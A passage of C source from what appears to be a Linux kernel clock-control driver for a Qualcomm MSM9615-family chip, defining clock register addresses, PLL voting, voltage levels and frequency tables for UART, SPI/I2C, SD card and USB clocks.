/* Peripheral clock registers. */
#define CE1_HCLK_CTL_REG REG(0x2720)
#define CE1_CORE_CLK_CTL_REG REG(0x2724)
#define DMA_BAM_HCLK_CTL REG(0x25C0)
#define CLK_HALT_CFPB_STATEA_REG REG(0x2FCC)
#define CLK_HALT_CFPB_STATEB_REG REG(0x2FD0)
#define CLK_HALT_CFPB_STATEC_REG REG(0x2FD4)
#define CLK_HALT_DFAB_STATE_REG REG(0x2FC8)
#define CLK_HALT_MSS_KPSS_MISC_STATE_REG REG(0x2FDC)
#define CLK_HALT_SFPB_MISC_STATE_REG REG(0x2FD8)
#define CLK_TEST_REG REG(0x2FA0)
#define GPn_MD_REG(n) REG(0x2D00+(0x20*(n)))
#define GPn_NS_REG(n) REG(0x2D24+(0x20*(n)))
#define GSBIn_HCLK_CTL_REG(n) REG(0x29C0+(0x20*((n)-1)))
#define GSBIn_QUP_APPS_MD_REG(n) REG(0x29C8+(0x20*((n)-1)))
#define GSBIn_QUP_APPS_NS_REG(n) REG(0x29CC+(0x20*((n)-1)))
#define GSBIn_RESET_REG(n) REG(0x29DC+(0x20*((n)-1)))
#define GSBIn_UART_APPS_MD_REG(n) REG(0x29D0+(0x20*((n)-1)))
#define GSBIn_UART_APPS_NS_REG(n) REG(0x29D4+(0x20*((n)-1)))
#define PDM_CLK_NS_REG REG(0x2CC0)
#define BB_PLL_ENA_SC0_REG REG(0x34C0)
#define BB_PLL0_L_VAL_REG REG(0x30C4)
#define BB_PLL0_M_VAL_REG REG(0x30C8)
#define BB_PLL0_MODE_REG REG(0x30C0)
#define BB_PLL0_N_VAL_REG REG(0x30CC)
#define BB_PLL0_STATUS_REG REG(0x30D8)
#define BB_PLL0_CONFIG_REG REG(0x30D4)
#define BB_PLL0_TEST_CTL_REG REG(0x30D0)
#define BB_PLL8_L_VAL_REG REG(0x3144)
#define BB_PLL8_M_VAL_REG REG(0x3148)
#define BB_PLL8_MODE_REG REG(0x3140)
#define BB_PLL8_N_VAL_REG REG(0x314C)
#define BB_PLL8_STATUS_REG REG(0x3158)
#define BB_PLL8_CONFIG_REG REG(0x3154)
#define BB_PLL8_TEST_CTL_REG REG(0x3150)
#define BB_PLL14_L_VAL_REG REG(0x31C4)
#define BB_PLL14_M_VAL_REG REG(0x31C8)
#define BB_PLL14_MODE_REG REG(0x31C0)
#define BB_PLL14_N_VAL_REG REG(0x31CC)
#define BB_PLL14_STATUS_REG REG(0x31D8)
#define BB_PLL14_CONFIG_REG REG(0x31D4)
#define BB_PLL14_TEST_CTL_REG REG(0x31D0)
#define SC_PLL0_L_VAL_REG REG(0x3208)
#define SC_PLL0_M_VAL_REG REG(0x320C)
#define SC_PLL0_MODE_REG REG(0x3200)
#define SC_PLL0_N_VAL_REG REG(0x3210)
#define SC_PLL0_STATUS_REG REG(0x321C)
#define SC_PLL0_CONFIG_REG REG(0x3204)
#define SC_PLL0_TEST_CTL_REG REG(0x3218)
#define PLLTEST_PAD_CFG_REG REG(0x2FA4)
#define PMEM_ACLK_CTL_REG REG(0x25A0)
#define RINGOSC_NS_REG REG(0x2DC0)
#define RINGOSC_STATUS_REG REG(0x2DCC)
#define RINGOSC_TCXO_CTL_REG REG(0x2DC4)
#define SC0_U_CLK_BRANCH_ENA_VOTE_REG REG(0x3080)
#define SDCn_APPS_CLK_MD_REG(n) REG(0x2828+(0x20*((n)-1)))
#define SDCn_APPS_CLK_NS_REG(n) REG(0x282C+(0x20*((n)-1)))
#define SDCn_HCLK_CTL_REG(n) REG(0x2820+(0x20*((n)-1)))
#define SDCn_RESET_REG(n) REG(0x2830+(0x20*((n)-1)))
#define USB_HS1_HCLK_CTL_REG REG(0x2900)
#define USB_HS1_RESET_REG REG(0x2910)
#define USB_HS1_XCVR_FS_CLK_MD_REG REG(0x2908)
#define USB_HS1_XCVR_FS_CLK_NS_REG REG(0x290C)
#define USB_HS1_SYS_CLK_MD_REG REG(0x36A0)
#define USB_HS1_SYS_CLK_NS_REG REG(0x36A4)
#define USB_HSIC_HCLK_CTL_REG REG(0x2920)
#define USB_HSIC_XCVR_FS_CLK_MD_REG REG(0x2924)
#define USB_HSIC_XCVR_FS_CLK_NS_REG REG(0x2928)
#define USB_HSIC_RESET_REG REG(0x2934)
#define USB_HSIC_HSIO_CAL_CLK_CTL_REG REG(0x2B48)
#define USB_HSIC_CLK_MD_REG REG(0x2B4C)
#define USB_HSIC_CLK_NS_REG REG(0x2B50)
#define USB_HSIC_SYSTEM_CLK_MD_REG REG(0x2B54)
#define USB_HSIC_SYSTEM_CLK_NS_REG REG(0x2B58)
#define SLIMBUS_XO_SRC_CLK_CTL_REG REG(0x2628)
/* Low-power Audio clock registers. */
#define LCC_CLK_LS_DEBUG_CFG_REG REG_LPA(0x00A8)
#define LCC_CODEC_I2S_MIC_MD_REG REG_LPA(0x0064)
#define LCC_CODEC_I2S_MIC_NS_REG REG_LPA(0x0060)
#define LCC_CODEC_I2S_MIC_STATUS_REG REG_LPA(0x0068)
#define LCC_CODEC_I2S_SPKR_MD_REG REG_LPA(0x0070)
#define LCC_CODEC_I2S_SPKR_NS_REG REG_LPA(0x006C)
#define LCC_CODEC_I2S_SPKR_STATUS_REG REG_LPA(0x0074)
#define LCC_MI2S_MD_REG REG_LPA(0x004C)
#define LCC_MI2S_NS_REG REG_LPA(0x0048)
#define LCC_MI2S_STATUS_REG REG_LPA(0x0050)
#define LCC_PCM_MD_REG REG_LPA(0x0058)
#define LCC_PCM_NS_REG REG_LPA(0x0054)
#define LCC_PCM_STATUS_REG REG_LPA(0x005C)
#define LCC_PLL0_STATUS_REG REG_LPA(0x0018)
#define LCC_SPARE_I2S_MIC_MD_REG REG_LPA(0x007C)
#define LCC_SPARE_I2S_MIC_NS_REG REG_LPA(0x0078)
#define LCC_SPARE_I2S_MIC_STATUS_REG REG_LPA(0x0080)
#define LCC_SPARE_I2S_SPKR_MD_REG REG_LPA(0x0088)
#define LCC_SPARE_I2S_SPKR_NS_REG REG_LPA(0x0084)
#define LCC_SPARE_I2S_SPKR_STATUS_REG REG_LPA(0x008C)
#define LCC_SLIMBUS_NS_REG REG_LPA(0x00CC)
#define LCC_SLIMBUS_MD_REG REG_LPA(0x00D0)
#define LCC_SLIMBUS_STATUS_REG REG_LPA(0x00D4)
#define LCC_AHBEX_BRANCH_CTL_REG REG_LPA(0x00E4)
#define LCC_PRI_PLL_CLK_CTL_REG REG_LPA(0x00C4)
#define GCC_APCS_CLK_DIAG REG_GCC(0x001C)
/* MUX source input identifiers. */
#define cxo_to_bb_mux 0
#define pll8_to_bb_mux 3
#define pll14_to_bb_mux 4
#define gnd_to_bb_mux 6
#define cxo_to_xo_mux 0
#define gnd_to_xo_mux 3
#define cxo_to_lpa_mux 1
#define pll4_to_lpa_mux 2
#define gnd_to_lpa_mux 6
/* Test Vector Macros */
#define TEST_TYPE_PER_LS 1
#define TEST_TYPE_PER_HS 2
#define TEST_TYPE_LPA 5
#define TEST_TYPE_SHIFT 24
#define TEST_CLK_SEL_MASK BM(23, 0)
#define TEST_VECTOR(s, t) (((t) << TEST_TYPE_SHIFT) | BVAL(23, 0, (s)))
#define TEST_PER_LS(s) TEST_VECTOR((s), TEST_TYPE_PER_LS)
#define TEST_PER_HS(s) TEST_VECTOR((s), TEST_TYPE_PER_HS)
#define TEST_LPA(s) TEST_VECTOR((s), TEST_TYPE_LPA)
#define MN_MODE_DUAL_EDGE 0x2
/* MD Registers */
#define MD8(m_lsb, m, n_lsb, n) \
(BVAL((m_lsb+7), m_lsb, m) | BVAL((n_lsb+7), n_lsb, ~(n)))
#define MD16(m, n) (BVAL(31, 16, m) | BVAL(15, 0, ~(n)))
/* NS Registers */
#define NS(n_msb, n_lsb, n, m, mde_lsb, d_msb, d_lsb, d, s_msb, s_lsb, s) \
(BVAL(n_msb, n_lsb, ~(n-m)) \
| (BVAL((mde_lsb+1), mde_lsb, MN_MODE_DUAL_EDGE) * !!(n)) \
| BVAL(d_msb, d_lsb, (d-1)) | BVAL(s_msb, s_lsb, s))
#define NS_SRC_SEL(s_msb, s_lsb, s) \
BVAL(s_msb, s_lsb, s)
enum vdd_dig_levels {
VDD_DIG_NONE,
VDD_DIG_LOW,
VDD_DIG_NOMINAL,
VDD_DIG_HIGH
};
static int set_vdd_dig(struct clk_vdd_class *vdd_class, int level)
{
static const int vdd_uv[] = {
[VDD_DIG_NONE] = 0,
[VDD_DIG_LOW] = 945000,
[VDD_DIG_NOMINAL] = 1050000,
[VDD_DIG_HIGH] = 1150000
};
return rpm_vreg_set_voltage(RPM_VREG_ID_PM8018_S1, RPM_VREG_VOTER3,
vdd_uv[level], vdd_uv[VDD_DIG_HIGH], 1);
}
static DEFINE_VDD_CLASS(vdd_dig, set_vdd_dig);
#define VDD_DIG_FMAX_MAP1(l1, f1) \
.vdd_class = &vdd_dig, \
.fmax[VDD_DIG_##l1] = (f1)
#define VDD_DIG_FMAX_MAP2(l1, f1, l2, f2) \
.vdd_class = &vdd_dig, \
.fmax[VDD_DIG_##l1] = (f1), \
.fmax[VDD_DIG_##l2] = (f2)
/*
* Clock Descriptions
*/
static struct msm_xo_voter *xo_cxo;
static int cxo_clk_enable(struct clk *clk)
{
return msm_xo_mode_vote(xo_cxo, MSM_XO_MODE_ON);
}
static void cxo_clk_disable(struct clk *clk)
{
msm_xo_mode_vote(xo_cxo, MSM_XO_MODE_OFF);
}
static struct clk_ops clk_ops_cxo = {
.enable = cxo_clk_enable,
.disable = cxo_clk_disable,
.get_rate = fixed_clk_get_rate,
.is_local = local_clk_is_local,
};
static struct fixed_clk cxo_clk = {
.rate = 19200000,
.c = {
.dbg_name = "cxo_clk",
.ops = &clk_ops_cxo,
CLK_INIT(cxo_clk.c),
},
};
static DEFINE_SPINLOCK(soft_vote_lock);
static int pll_acpu_vote_clk_enable(struct clk *clk)
{
int ret = 0;
unsigned long flags;
struct pll_vote_clk *pll = to_pll_vote_clk(clk);
spin_lock_irqsave(&soft_vote_lock, flags);
if (!*pll->soft_vote)
ret = pll_vote_clk_enable(clk);
if (ret == 0)
*pll->soft_vote |= (pll->soft_vote_mask);
spin_unlock_irqrestore(&soft_vote_lock, flags);
return ret;
}
static void pll_acpu_vote_clk_disable(struct clk *clk)
{
unsigned long flags;
struct pll_vote_clk *pll = to_pll_vote_clk(clk);
spin_lock_irqsave(&soft_vote_lock, flags);
*pll->soft_vote &= ~(pll->soft_vote_mask);
if (!*pll->soft_vote)
pll_vote_clk_disable(clk);
spin_unlock_irqrestore(&soft_vote_lock, flags);
}
static struct clk_ops clk_ops_pll_acpu_vote = {
.enable = pll_acpu_vote_clk_enable,
.disable = pll_acpu_vote_clk_disable,
.auto_off = pll_acpu_vote_clk_disable,
.is_enabled = pll_vote_clk_is_enabled,
.get_rate = pll_vote_clk_get_rate,
.get_parent = pll_vote_clk_get_parent,
.is_local = local_clk_is_local,
};
#define PLL_SOFT_VOTE_PRIMARY BIT(0)
#define PLL_SOFT_VOTE_ACPU BIT(1)
static unsigned int soft_vote_pll0;
static struct pll_vote_clk pll0_clk = {
.rate = 276000000,
.en_reg = BB_PLL_ENA_SC0_REG,
.en_mask = BIT(0),
.status_reg = BB_PLL0_STATUS_REG,
.parent = &cxo_clk.c,
.soft_vote = &soft_vote_pll0,
.soft_vote_mask = PLL_SOFT_VOTE_PRIMARY,
.c = {
.dbg_name = "pll0_clk",
.ops = &clk_ops_pll_acpu_vote,
CLK_INIT(pll0_clk.c),
},
};
static struct pll_vote_clk pll0_acpu_clk = {
.rate = 276000000,
.en_reg = BB_PLL_ENA_SC0_REG,
.en_mask = BIT(0),
.status_reg = BB_PLL0_STATUS_REG,
.soft_vote = &soft_vote_pll0,
.soft_vote_mask = PLL_SOFT_VOTE_ACPU,
.c = {
.dbg_name = "pll0_acpu_clk",
.ops = &clk_ops_pll_acpu_vote,
CLK_INIT(pll0_acpu_clk.c),
},
};
static struct pll_vote_clk pll4_clk = {
.rate = 393216000,
.en_reg = BB_PLL_ENA_SC0_REG,
.en_mask = BIT(4),
.status_reg = LCC_PLL0_STATUS_REG,
.parent = &cxo_clk.c,
.c = {
.dbg_name = "pll4_clk",
.ops = &clk_ops_pll_vote,
CLK_INIT(pll4_clk.c),
},
};
static unsigned int soft_vote_pll8;
static struct pll_vote_clk pll8_clk = {
.rate = 384000000,
.en_reg = BB_PLL_ENA_SC0_REG,
.en_mask = BIT(8),
.status_reg = BB_PLL8_STATUS_REG,
.parent = &cxo_clk.c,
.soft_vote = &soft_vote_pll8,
.soft_vote_mask = PLL_SOFT_VOTE_PRIMARY,
.c = {
.dbg_name = "pll8_clk",
.ops = &clk_ops_pll_acpu_vote,
CLK_INIT(pll8_clk.c),
},
};
static struct pll_vote_clk pll8_acpu_clk = {
.rate = 384000000,
.en_reg = BB_PLL_ENA_SC0_REG,
.en_mask = BIT(8),
.status_reg = BB_PLL8_STATUS_REG,
.soft_vote = &soft_vote_pll8,
.soft_vote_mask = PLL_SOFT_VOTE_ACPU,
.c = {
.dbg_name = "pll8_acpu_clk",
.ops = &clk_ops_pll_acpu_vote,
CLK_INIT(pll8_acpu_clk.c),
},
};
static unsigned int soft_vote_pll9;
static struct pll_vote_clk pll9_clk = {
.rate = 440000000,
.en_reg = BB_PLL_ENA_SC0_REG,
.en_mask = BIT(9),
.status_reg = SC_PLL0_STATUS_REG,
.parent = &cxo_clk.c,
.soft_vote = &soft_vote_pll9,
.soft_vote_mask = PLL_SOFT_VOTE_PRIMARY,
.c = {
.dbg_name = "pll9_clk",
.ops = &clk_ops_pll_acpu_vote,
CLK_INIT(pll9_clk.c),
},
};
static struct pll_vote_clk pll9_acpu_clk = {
.rate = 440000000,
.en_reg = BB_PLL_ENA_SC0_REG,
.en_mask = BIT(9),
.soft_vote = &soft_vote_pll9,
.soft_vote_mask = PLL_SOFT_VOTE_ACPU,
.status_reg = SC_PLL0_STATUS_REG,
.c = {
.dbg_name = "pll9_acpu_clk",
.ops = &clk_ops_pll_acpu_vote,
CLK_INIT(pll9_acpu_clk.c),
},
};
static struct pll_vote_clk pll14_clk = {
.rate = 480000000,
.en_reg = BB_PLL_ENA_SC0_REG,
.en_mask = BIT(11),
.status_reg = BB_PLL14_STATUS_REG,
.parent = &cxo_clk.c,
.c = {
.dbg_name = "pll14_clk",
.ops = &clk_ops_pll_vote,
CLK_INIT(pll14_clk.c),
},
};
static struct clk_ops clk_ops_rcg_9615 = {
.enable = rcg_clk_enable,
.disable = rcg_clk_disable,
.auto_off = rcg_clk_disable,
.set_rate = rcg_clk_set_rate,
.get_rate = rcg_clk_get_rate,
.list_rate = rcg_clk_list_rate,
.is_enabled = rcg_clk_is_enabled,
.round_rate = rcg_clk_round_rate,
.reset = rcg_clk_reset,
.is_local = local_clk_is_local,
.get_parent = rcg_clk_get_parent,
};
static struct clk_ops clk_ops_branch = {
.enable = branch_clk_enable,
.disable = branch_clk_disable,
.auto_off = branch_clk_disable,
.is_enabled = branch_clk_is_enabled,
.reset = branch_clk_reset,
.is_local = local_clk_is_local,
.get_parent = branch_clk_get_parent,
.set_parent = branch_clk_set_parent,
};
/*
* Peripheral Clocks
*/
#define CLK_GP(i, n, h_r, h_b) \
struct rcg_clk i##_clk = { \
.b = { \
.ctl_reg = GPn_NS_REG(n), \
.en_mask = BIT(9), \
.halt_reg = h_r, \
.halt_bit = h_b, \
}, \
.ns_reg = GPn_NS_REG(n), \
.md_reg = GPn_MD_REG(n), \
.root_en_mask = BIT(11), \
.ns_mask = (BM(23, 16) | BM(6, 0)), \
.set_rate = set_rate_mnd, \
.freq_tbl = clk_tbl_gp, \
.current_freq = &rcg_dummy_freq, \
.c = { \
.dbg_name = #i "_clk", \
.ops = &clk_ops_rcg_9615, \
VDD_DIG_FMAX_MAP1(LOW, 27000000), \
CLK_INIT(i##_clk.c), \
}, \
}
#define F_GP(f, s, d, m, n) \
{ \
.freq_hz = f, \
.src_clk = &s##_clk.c, \
.md_val = MD8(16, m, 0, n), \
.ns_val = NS(23, 16, n, m, 5, 4, 3, d, 2, 0, s##_to_bb_mux), \
.mnd_en_mask = BIT(8) * !!(n), \
}
static struct clk_freq_tbl clk_tbl_gp[] = {
F_GP( 0, gnd, 1, 0, 0),
F_GP( 9600000, cxo, 2, 0, 0),
F_GP( 19200000, cxo, 1, 0, 0),
F_END
};
static CLK_GP(gp0, 0, CLK_HALT_SFPB_MISC_STATE_REG, 7);
static CLK_GP(gp1, 1, CLK_HALT_SFPB_MISC_STATE_REG, 6);
static CLK_GP(gp2, 2, CLK_HALT_SFPB_MISC_STATE_REG, 5);
#define CLK_GSBI_UART(i, n, h_r, h_b) \
struct rcg_clk i##_clk = { \
.b = { \
.ctl_reg = GSBIn_UART_APPS_NS_REG(n), \
.en_mask = BIT(9), \
.reset_reg = GSBIn_RESET_REG(n), \
.reset_mask = BIT(0), \
.halt_reg = h_r, \
.halt_bit = h_b, \
}, \
.ns_reg = GSBIn_UART_APPS_NS_REG(n), \
.md_reg = GSBIn_UART_APPS_MD_REG(n), \
.root_en_mask = BIT(11), \
.ns_mask = (BM(31, 16) | BM(6, 0)), \
.set_rate = set_rate_mnd, \
.freq_tbl = clk_tbl_gsbi_uart, \
.current_freq = &rcg_dummy_freq, \
.c = { \
.dbg_name = #i "_clk", \
.ops = &clk_ops_rcg_9615, \
VDD_DIG_FMAX_MAP2(LOW, 32000000, NOMINAL, 64000000), \
CLK_INIT(i##_clk.c), \
}, \
}
#define F_GSBI_UART(f, s, d, m, n) \
{ \
.freq_hz = f, \
.src_clk = &s##_clk.c, \
.md_val = MD16(m, n), \
.ns_val = NS(31, 16, n, m, 5, 4, 3, d, 2, 0, s##_to_bb_mux), \
.mnd_en_mask = BIT(8) * !!(n), \
}
static struct clk_freq_tbl clk_tbl_gsbi_uart[] = {
F_GSBI_UART( 0, gnd, 1, 0, 0),
F_GSBI_UART( 3686400, pll8, 1, 6, 625),
F_GSBI_UART( 7372800, pll8, 1, 12, 625),
F_GSBI_UART(14745600, pll8, 1, 24, 625),
F_GSBI_UART(16000000, pll8, 4, 1, 6),
F_GSBI_UART(24000000, pll8, 4, 1, 4),
F_GSBI_UART(32000000, pll8, 4, 1, 3),
F_GSBI_UART(40000000, pll8, 1, 5, 48),
F_GSBI_UART(46400000, pll8, 1, 29, 240),
F_GSBI_UART(48000000, pll8, 4, 1, 2),
F_GSBI_UART(51200000, pll8, 1, 2, 15),
F_GSBI_UART(56000000, pll8, 1, 7, 48),
F_GSBI_UART(58982400, pll8, 1, 96, 625),
F_GSBI_UART(64000000, pll8, 2, 1, 3),
F_END
};
static CLK_GSBI_UART(gsbi1_uart, 1, CLK_HALT_CFPB_STATEA_REG, 10);
static CLK_GSBI_UART(gsbi2_uart, 2, CLK_HALT_CFPB_STATEA_REG, 6);
static CLK_GSBI_UART(gsbi3_uart, 3, CLK_HALT_CFPB_STATEA_REG, 2);
static CLK_GSBI_UART(gsbi4_uart, 4, CLK_HALT_CFPB_STATEB_REG, 26);
static CLK_GSBI_UART(gsbi5_uart, 5, CLK_HALT_CFPB_STATEB_REG, 22);
#define CLK_GSBI_QUP(i, n, h_r, h_b) \
struct rcg_clk i##_clk = { \
.b = { \
.ctl_reg = GSBIn_QUP_APPS_NS_REG(n), \
.en_mask = BIT(9), \
.reset_reg = GSBIn_RESET_REG(n), \
.reset_mask = BIT(0), \
.halt_reg = h_r, \
.halt_bit = h_b, \
}, \
.ns_reg = GSBIn_QUP_APPS_NS_REG(n), \
.md_reg = GSBIn_QUP_APPS_MD_REG(n), \
.root_en_mask = BIT(11), \
.ns_mask = (BM(23, 16) | BM(6, 0)), \
.set_rate = set_rate_mnd, \
.freq_tbl = clk_tbl_gsbi_qup, \
.current_freq = &rcg_dummy_freq, \
.c = { \
.dbg_name = #i "_clk", \
.ops = &clk_ops_rcg_9615, \
VDD_DIG_FMAX_MAP2(LOW, 24000000, NOMINAL, 52000000), \
CLK_INIT(i##_clk.c), \
}, \
}
#define F_GSBI_QUP(f, s, d, m, n) \
{ \
.freq_hz = f, \
.src_clk = &s##_clk.c, \
.md_val = MD8(16, m, 0, n), \
.ns_val = NS(23, 16, n, m, 5, 4, 3, d, 2, 0, s##_to_bb_mux), \
.mnd_en_mask = BIT(8) * !!(n), \
}
static struct clk_freq_tbl clk_tbl_gsbi_qup[] = {
F_GSBI_QUP( 0, gnd, 1, 0, 0),
F_GSBI_QUP( 960000, cxo, 4, 1, 5),
F_GSBI_QUP( 4800000, cxo, 4, 0, 1),
F_GSBI_QUP( 9600000, cxo, 2, 0, 1),
F_GSBI_QUP(15058800, pll8, 1, 2, 51),
F_GSBI_QUP(24000000, pll8, 4, 1, 4),
F_GSBI_QUP(25600000, pll8, 1, 1, 15),
F_GSBI_QUP(48000000, pll8, 4, 1, 2),
F_GSBI_QUP(51200000, pll8, 1, 2, 15),
F_END
};
static CLK_GSBI_QUP(gsbi1_qup, 1, CLK_HALT_CFPB_STATEA_REG, 9);
static CLK_GSBI_QUP(gsbi2_qup, 2, CLK_HALT_CFPB_STATEA_REG, 4);
static CLK_GSBI_QUP(gsbi3_qup, 3, CLK_HALT_CFPB_STATEA_REG, 0);
static CLK_GSBI_QUP(gsbi4_qup, 4, CLK_HALT_CFPB_STATEB_REG, 24);
static CLK_GSBI_QUP(gsbi5_qup, 5, CLK_HALT_CFPB_STATEB_REG, 20);
#define F_PDM(f, s, d) \
{ \
.freq_hz = f, \
.src_clk = &s##_clk.c, \
.ns_val = NS_SRC_SEL(1, 0, s##_to_xo_mux), \
}
static struct clk_freq_tbl clk_tbl_pdm[] = {
F_PDM( 0, gnd, 1),
F_PDM(19200000, cxo, 1),
F_END
};
static struct rcg_clk pdm_clk = {
.b = {
.ctl_reg = PDM_CLK_NS_REG,
.en_mask = BIT(9),
.reset_reg = PDM_CLK_NS_REG,
.reset_mask = BIT(12),
.halt_reg = CLK_HALT_CFPB_STATEC_REG,
.halt_bit = 3,
},
.ns_reg = PDM_CLK_NS_REG,
.root_en_mask = BIT(11),
.ns_mask = BM(1, 0),
.set_rate = set_rate_nop,
.freq_tbl = clk_tbl_pdm,
.current_freq = &rcg_dummy_freq,
.c = {
.dbg_name = "pdm_clk",
.ops = &clk_ops_rcg_9615,
VDD_DIG_FMAX_MAP1(LOW, 19200000),
CLK_INIT(pdm_clk.c),
},
};
static struct branch_clk pmem_clk = {
.b = {
.ctl_reg = PMEM_ACLK_CTL_REG,
.en_mask = BIT(4),
.halt_reg = CLK_HALT_DFAB_STATE_REG,
.halt_bit = 20,
},
.c = {
.dbg_name = "pmem_clk",
.ops = &clk_ops_branch,
CLK_INIT(pmem_clk.c),
},
};
#define F_PRNG(f, s) \
{ \
.freq_hz = f, \
.src_clk = &s##_clk.c, \
}
static struct clk_freq_tbl clk_tbl_prng[] = {
F_PRNG(32000000, pll8),
F_END
};
static struct rcg_clk prng_clk = {
.b = {
.ctl_reg = SC0_U_CLK_BRANCH_ENA_VOTE_REG,
.en_mask = BIT(10),
.halt_reg = CLK_HALT_SFPB_MISC_STATE_REG,
.halt_check = HALT_VOTED,
.halt_bit = 10,
},
.set_rate = set_rate_nop,
.freq_tbl = clk_tbl_prng,
.current_freq = &rcg_dummy_freq,
.c = {
.dbg_name = "prng_clk",
.ops = &clk_ops_rcg_9615,
VDD_DIG_FMAX_MAP2(LOW, 32000000, NOMINAL, 65000000),
CLK_INIT(prng_clk.c),
},
};
#define CLK_SDC(name, n, h_b, f_table) \
struct rcg_clk name = { \
.b = { \
.ctl_reg = SDCn_APPS_CLK_NS_REG(n), \
.en_mask = BIT(9), \
.reset_reg = SDCn_RESET_REG(n), \
.reset_mask = BIT(0), \
.halt_reg = CLK_HALT_DFAB_STATE_REG, \
.halt_bit = h_b, \
}, \
.ns_reg = SDCn_APPS_CLK_NS_REG(n), \
.md_reg = SDCn_APPS_CLK_MD_REG(n), \
.root_en_mask = BIT(11), \
.ns_mask = (BM(23, 16) | BM(6, 0)), \
.set_rate = set_rate_mnd, \
.freq_tbl = f_table, \
.current_freq = &rcg_dummy_freq, \
.c = { \
.dbg_name = #name, \
.ops = &clk_ops_rcg_9615, \
VDD_DIG_FMAX_MAP2(LOW, 25000000, NOMINAL, 50000000), \
CLK_INIT(name.c), \
}, \
}
#define F_SDC(f, s, d, m, n) \
{ \
.freq_hz = f, \
.src_clk = &s##_clk.c, \
.md_val = MD8(16, m, 0, n), \
.ns_val = NS(23, 16, n, m, 5, 4, 3, d, 2, 0, s##_to_bb_mux), \
.mnd_en_mask = BIT(8) * !!(n), \
}
static struct clk_freq_tbl clk_tbl_sdc1_2[] = {
F_SDC( 0, gnd, 1, 0, 0),
F_SDC( 144300, cxo, 1, 1, 133),
F_SDC( 400000, pll8, 4, 1, 240),
F_SDC( 16000000, pll8, 4, 1, 6),
F_SDC( 17070000, pll8, 1, 2, 45),
F_SDC( 20210000, pll8, 1, 1, 19),
F_SDC( 24000000, pll8, 4, 1, 4),
F_SDC( 48000000, pll8, 4, 1, 2),
F_END
};
static CLK_SDC(sdc1_clk, 1, 6, clk_tbl_sdc1_2);
static CLK_SDC(sdc2_clk, 2, 5, clk_tbl_sdc1_2);
#define F_USB(f, s, d, m, n) \
{ \
.freq_hz = f, \
.src_clk = &s##_clk.c, \
.md_val = MD8(16, m, 0, n), \
.ns_val = NS(23, 16, n, m, 5, 4, 3, d, 2, 0, s##_to_bb_mux), \
.mnd_en_mask = BIT(8) * !!(n), \
}
static struct clk_freq_tbl clk_tbl_usb[] = {
F_USB( 0, gnd, 1, 0, 0),
F_USB(60000000, pll8, 1, 5, 32),
F_END
};
static struct clk_freq_tbl clk_tbl_usb_hsic_sys[] = {
F_USB( 0, gnd, 1, 0, 0),
F_USB(64000000, pll8, 1, 1, 6),
F_END
};
static struct rcg_clk usb_hs1_xcvr_clk = {
.b = {
.ctl_reg = USB_HS1_XCVR_FS_CLK_NS_REG,
.en_mask = BIT(9),
.reset_reg = USB_HS1_RESET_REG,
.reset_mask = BIT(0),
.halt_reg = CLK_HALT_DFAB_STATE_REG,
.halt_bit = 0,
},
.ns_reg = USB_HS1_XCVR_FS_CLK_NS_REG,
.md_reg = USB_HS1_XCVR_FS_CLK_MD_REG,
.root_en_mask = BIT(11),
.ns_mask = (BM(23, 16) | BM(6, 0)),
.set_rate = set_rate_mnd,
.freq_tbl = clk_tbl_usb,
.current_freq = &rcg_dummy_freq,
.c = {
.dbg_name = "usb_hs1_xcvr_clk",
.ops = &clk_ops_rcg_9615,
VDD_DIG_FMAX_MAP1(NOMINAL, 60000000),
CLK_INIT(usb_hs1_xcvr_clk.c),
},
};
static struct rcg_clk usb_hs1_sys_clk = {
.b = {
.ctl_reg = USB_HS1_SYS_CLK_NS_REG,
.en_mask = BIT(9),
.reset_reg = USB_HS1_RESET_REG,
.reset_mask = BIT(0),
.halt_reg = CLK_HALT_DFAB_STATE_REG,
.halt_bit = 4,
},
.ns_reg = USB_HS1_SYS_CLK_NS_REG,
.md_reg = USB_HS1_SYS_CLK_MD_REG,
.root_en_mask = BIT(11),
.ns_mask = (BM(23, 16) | BM(6, 0)),
.set_rate = set_rate_mnd,
.freq_tbl = clk_tbl_usb,
.current_freq = &rcg_dummy_freq,
.c = {
.dbg_name = "usb_hs1_sys_clk",
.ops = &clk_ops_rcg_9615,
VDD_DIG_FMAX_MAP1(NOMINAL, 60000000),
CLK_INIT(usb_hs1_sys_clk.c),
},
};
static struct rcg_clk usb_hsic_xcvr_clk = {
.b = {
.ctl_reg = USB_HSIC_XCVR_FS_CLK_NS_REG,
.en_mask = BIT(9),
.reset_reg = USB_HSIC_RESET_REG,
.reset_mask = BIT(0),
.halt_reg = CLK_HALT_DFAB_STATE_REG,
.halt_bit = 9,
},
.ns_reg = USB_HSIC_XCVR_FS_CLK_NS_REG,
.md_reg = USB_HSIC_XCVR_FS_CLK_MD_REG,
.root_en_mask = BIT(11),
.ns_mask = (BM(23, 16) | BM(6, 0)),
.set_rate = set_rate_mnd,
.freq_tbl = clk_tbl_usb,
.current_freq = &rcg_dummy_freq,
.c = {
.dbg_name = "usb_hsic_xcvr_clk",
.ops = &clk_ops_rcg_9615,
VDD_DIG_FMAX_MAP1(LOW, 60000000),
CLK_INIT(usb_hsic_xcvr_clk.c),
},
};
static struct rcg_clk usb_hsic_sys_clk = {
.b = {
.ctl_reg = USB_HSIC_SYSTEM_CLK_NS_REG,
.en_mask = BIT(9),
.reset_reg = USB_HSIC_RESET_REG,
.reset_mask = BIT(0),
.halt_reg = CLK_HALT_DFAB_STATE_REG,
.halt_bit = 7,
},
.ns_reg = USB_HSIC_SYSTEM_CLK_NS_REG,
.md_reg = USB_HSIC_SYSTEM_CLK_MD_REG,
.root_en_mask = BIT(11),
.ns_mask = (BM(23, 16) | BM(6, 0)),
.set_rate = set_rate_mnd,
.freq_tbl = clk_tbl_usb_hsic_sys,
.current_freq = &rcg_dummy_freq,
.c = {
.dbg_name = "usb_hsic_sys_clk",
.ops = &clk_ops_rcg_9615,
VDD_DIG_FMAX_MAP1(LOW, 64000000),
CLK_INIT(usb_hsic_sys_clk.c),
},
};
static struct clk_freq_tbl clk_tbl_usb_hsic[] = {
F_USB( 0, gnd, 1, 0, 0),
F_USB(480000000, pll14, 1, 0, 0),
F_END
};
static struct rcg_clk usb_hsic_clk = {
.b = {
.ctl_reg = USB_HSIC_CLK_NS_REG,
.en_mask = BIT(9),
.reset_reg = USB_HSIC_RESET_REG,
.reset_mask = BIT(0),
.halt_check = DELAY,
},
.ns_reg = USB_HSIC_CLK_NS_REG,
.md_reg = USB_HSIC_CLK_MD_REG,
.root_en_mask = BIT(11),
.ns_mask = (BM(23, 16) | BM(6, 0)),
.set_rate = set_rate_mnd,
.freq_tbl = clk_tbl_usb_hsic,
